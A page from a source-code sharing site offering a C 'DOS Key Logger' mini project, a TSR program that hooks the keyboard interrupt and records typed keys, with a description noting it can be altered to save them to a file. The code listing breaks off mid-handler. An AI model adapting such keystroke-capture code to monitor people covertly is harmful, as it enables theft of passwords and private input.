Add to Favorites    Make Home Page 1867 Online  
 Language Categories  
 Our Services  

Home » C Home » Terminate but Stay Resident (TSR) Home » DOS Key Logger (Mini Project)

A D V E R T I S E M E N T

Search Projects & Source Codes:

Title DOS Key Logger (Mini Project)
Author Aveo
Author Email bunts [at] hotmail.com
Description DOS Key Logger.Traces kyes typed & Displays on screen while KEY F12 pressed.Can be manipulated to store in file.

Category C » Terminate but Stay Resident (TSR)
Hits 391286
Code Select and Copy the Code
Code : #include <stdio.h> #include <conio.h> #include <dos.h> #include <bios.h> #define _4KB (4096) #define F12 (88) #define IS_BACKSPACE(key) (key==14) #define IS_SPACE_BAR(key) (key==57) #define IS_ENTER(key) (key==28) #define IS_SPL_ROW(key) (key>=2 && key<=13) #define IS_SPL_1(key) (key==41) #define IS_SPL_2(key) (key==43) #define IS_Q_ROW(key) (key>=16 && key<=27) #define IS_A_ROW(key) (key>=30 && key<=40) #define IS_Z_ROW(key) (key>=44 && key<=53) #define IS_NUM_ROW1(key) (key>=71 && key<=73) #define IS_NUM_ROW2(key) (key>=75 && key<=77) #define IS_NUM_ROW3(key) (key>=79 && key<=81) #define IS_NUM_ROW4(key) (key>=82 && key<=83) #define SIZE (50) char Key_String[SIZE], Space_Bar = ' ', Spl_Row[] = "!@#$%^&*()_+", Spl_1 = '~', Spl_2 = '|', Q_Row[] = "qwertyuiop[]", A_Row[] = "asdfghjkl;'", Z_Row[] = "zxcvbnm,./", Num_Row1[] = "789", Num_Row2[] = "456", Num_Row3[] = "123", Num_Row4[] = "0.", Enter_Symbol[] = " ?"; char *Vid_RAM=0xB8000; int i=0, Key_Val, Last_Pos = 0; void WriteCh2VidRAM(int vdupage, int x, int y, char ch, int attribute ); void WriteStr2VidRAM(int vdupage,int x,int y,char *str, int attribute ); void (__interrupt __far *Int9)(); void (__interrupt __far MyInt9()); void WriteCh2VidRAM( int vdupage, int x, int y, char ch, int attribute) { unsigned seg,off; *(Vid_RAM + _4KB * vdupage + 160 * y + 2 * x) = ch; *(Vid_RAM + _4KB * vdupage + 160 * y + 2 * x + 1) = attribute; } void WriteStr2VidRAM(int vdupage,int x,int y, char *str, int attribute ) { while(*str) WriteCh2VidRAM( vdupage, x++, y, *str++, attribute ); } void __interrupt MyInt9( void ) { Key_Val = inp(0x60); if ( Key_Val==F12 ) { Key_String[i] = '

Related Source Codes

Script Name Author
The Game Opposite as seen on Nokia 2300 Mobile Manikanta
RECURSIVE BALANCED QUICK SORT ashish
Radix Sort ashish
Change your mouse pointer Ashim
The blinking star Shashank
Data Validation Crylittlebaby
To search a file by giving file type like mp3 or mpeg or doc Prashanth SR
Menus Demonstration B.Chidhambaram
Employee Database Project Using C. Reenku Raman Nayak
Creating a Lexical Analyzer in c fahad bader al-buhairi �դ ?�� ��??���
Calendar Program Omkar & Devendra
Stop double Process for start in C Cedrik Jurak
Stop double Process for start in C Cedrik Jurak
Time Scheduler Atiq Anwar
A timepass game between atmost two players Rahul Roy

A D V E R T I S E M E N T




Google Groups Subscribe to SourceCodesWorld - Techies Talk
Email:

Free eBook - Interview Questions: Get over 1,000 Interview Questions in an eBook for free when you join JobsAssist. Just click on the button below to join JobsAssist and you will immediately receive the Free eBook with thousands of Interview Questions in an ebook when you join.

New! Click here to Add your Code!


ASP Home | C Home | C++ Home | COBOL Home | Java Home | Pascal Home
Source Codes Home Page

 Advertisements  

Google Search

Google

Source Codes World.com is a part of Vyom Network.

Vyom Network : Web Hosting | Dedicated Server | Free SMS, GRE, GMAT, MBA | Online Exams | Freshers Jobs | Software Downloads | Interview Questions | Jobs, Discussions | Placement Papers | Free eBooks | Free eBooks | Free Business Info | Interview Questions | Free Tutorials | Arabic, French, German | IAS Preparation | Jokes, Songs, Fun | Free Classifieds | Free Recipes | Free Downloads | Bangalore Info | Tech Solutions | Project Outsourcing, Web Hosting | GATE Preparation | MBA Preparation | SAP Info | Software Testing | Google Logo Maker | Freshers Jobs

Sitemap | Privacy Policy | Terms and Conditions | Important Websites
Copyright ©2003-2024 SourceCodesWorld.com, All Rights Reserved.
Page URL: http://www.sourcecodesworld.com/source/show.asp?ScriptID=921


Download Yahoo Messenger | Placement Papers | Free SMS | C Interview Questions | C++ Interview Questions | Quick2Host Review